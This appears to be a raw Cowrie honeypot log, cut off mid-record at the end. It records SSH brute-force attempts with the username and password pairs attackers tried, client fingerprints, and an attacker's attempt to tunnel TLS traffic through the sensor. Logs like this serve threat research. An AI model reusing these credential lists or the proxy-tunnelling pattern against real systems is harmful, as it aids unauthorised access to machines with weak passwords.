{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:55.866217Z","src_ip":"201.249.87.201","session":"d9eb244d3894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:56.992718Z","src_ip":"201.249.87.201","session":"d9eb244d3894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.87.201","src_port":49192,"dst_ip":"10.17.0.5","dst_port":22,"session":"ded37216cec8","protocol":"ssh","message":"New connection: 201.249.87.201:49192 (10.17.0.5:22) [session: ded37216cec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:57.106897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:57.331314Z","src_ip":"201.249.87.201","session":"ded37216cec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":18706,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed0eb474ec4c","protocol":"ssh","message":"New connection: 2.57.121.25:18706 (159.203.135.109:22) [session: ed0eb474ec4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:57.431235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:57.435619Z","src_ip":"2.57.121.25","session":"ed0eb474ec4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:57.442862Z","src_ip":"201.249.87.201","session":"ded37216cec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:57.536107Z","src_ip":"2.57.121.25","session":"ed0eb474ec4c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:57.879070Z","src_ip":"201.249.87.201","session":"ded37216cec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:58.007597Z","src_ip":"201.249.87.201","session":"466fb32e4666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:58.011600Z","src_ip":"201.249.87.201","session":"ded37216cec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"machines","message":"login attempt [user/machines] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:58.020905Z","src_ip":"2.57.121.25","session":"ed0eb474ec4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"losangel","message":"login attempt [user/losangel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:28:59.125381Z","src_ip":"2.57.121.25","session":"ed0eb474ec4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"locker","message":"login attempt [user/locker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:00.229878Z","src_ip":"2.57.121.25","session":"ed0eb474ec4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"llama","message":"login attempt [user/llama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:01.332923Z","src_ip":"2.57.121.25","session":"ed0eb474ec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00109577178955,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:01.526095Z","src_ip":"49.88.156.34","session":"14c0ec8c855d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"littlema","message":"login attempt [user/littlema] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:02.437434Z","src_ip":"2.57.121.25","session":"ed0eb474ec4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:03.542160Z","src_ip":"2.57.121.25","session":"ed0eb474ec4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":58390,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5e0881040ce","protocol":"ssh","message":"New connection: 77.90.185.17:58390 (159.203.135.109:22) [session: d5e0881040ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:33.885030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:33.888986Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:33.989359Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:34.469482Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.221.59.244","dst_port":443,"src_ip":"77.90.185.17","src_port":50680,"message":"direct-tcp connection request to 52.221.59.244:443 from 127.0.0.1:50680","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:37.566761Z","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.221.59.244","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.221.59.244:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:38.222291Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.221.59.244","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\'\\xee\\xc0\\x1fR$\\x91\\x01<g\\xfe`\\x11\\x1f_&\\xf4\\xb9\\xee\\xf0%h\\xbe$\\x92\\xee\\xe1\\x0f\\n|\\xf9\\x10 c\\x11\\xaa\\xc9\\xa2\\xf2\\n\\xddJnS\\xe2\\x8f/\\x02\\xf8\\x85\\x1c\\xf2nX\\xcb\\xd5\\x83\\x93\\xdb1\\x8e\\x83TR\\\\\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 e\\x92\\x8cQg\\xd9\\xbe4#\\x8f\\xb3~\"\\xfa\\xca\\xf2{\\x8df\\x97\\x99\\xcd\\xf1\\x1ds^\\xa8\\xe6\\x17?\\xc4m\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 52.221.59.244:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\'\\xee\\xc0\\x1fR$\\x91\\x01<g\\xfe`\\x11\\x1f_&\\xf4\\xb9\\xee\\xf0%h\\xbe$\\x92\\xee\\xe1\\x0f\\n|\\xf9\\x10 c\\x11\\xaa\\xc9\\xa2\\xf2\\n\\xddJnS\\xe2\\x8f/\\x02\\xf8\\x85\\x1c\\xf2nX\\xcb\\xd5\\x83\\x93\\xdb1\\x8e\\x83TR\\\\\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 e\\x92\\x8cQg\\xd9\\xbe4#\\x8f\\xb3~\"\\xfa\\xca\\xf2{\\x8df\\x97\\x99\\xcd\\xf1\\x1ds^\\xa8\\xe6\\x17?\\xc4m\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:38.225819Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.24.145.53","dst_port":443,"src_ip":"77.90.185.17","src_port":53468,"message":"direct-tcp connection request to 184.24.145.53:443 from 127.0.0.1:53468","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:39.345537Z","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.24.145.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.24.145.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:41.382832Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.24.145.53","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4\\xd9z\\x81\\xd5\\x97\\xf8WG\\x8a\\xbe\\x97\\xf42\\x90\\xb6*~\\x11\\x104\\xf16r\\xcf\\x10\\xd3v*\\x9fH\\xa4 \\x06\\xab\\xec_\\xa8\\xda\\x08\\xce\\xd0\\xefL\\xf8\\x19 \\xc7\\xe6\\xa1 \\x9b\\x12e\\xef\\xcb\\x85!\\xce\\x1dN\\xbb+\\x1c3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x08\\x1a\\x1b\\n \\xbc\\x05\\xab\\xb3\\tc\\xd9(\\x0e.(!\\x15\\xa7Q\\xbc~.\\x9e\\x85\\xb7\\xc3Q:\\x1e\\x9a<\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.24.145.53:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4\\xd9z\\x81\\xd5\\x97\\xf8WG\\x8a\\xbe\\x97\\xf42\\x90\\xb6*~\\x11\\x104\\xf16r\\xcf\\x10\\xd3v*\\x9fH\\xa4 \\x06\\xab\\xec_\\xa8\\xda\\x08\\xce\\xd0\\xefL\\xf8\\x19 \\xc7\\xe6\\xa1 \\x9b\\x12e\\xef\\xcb\\x85!\\xce\\x1dN\\xbb+\\x1c3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x08\\x1a\\x1b\\n 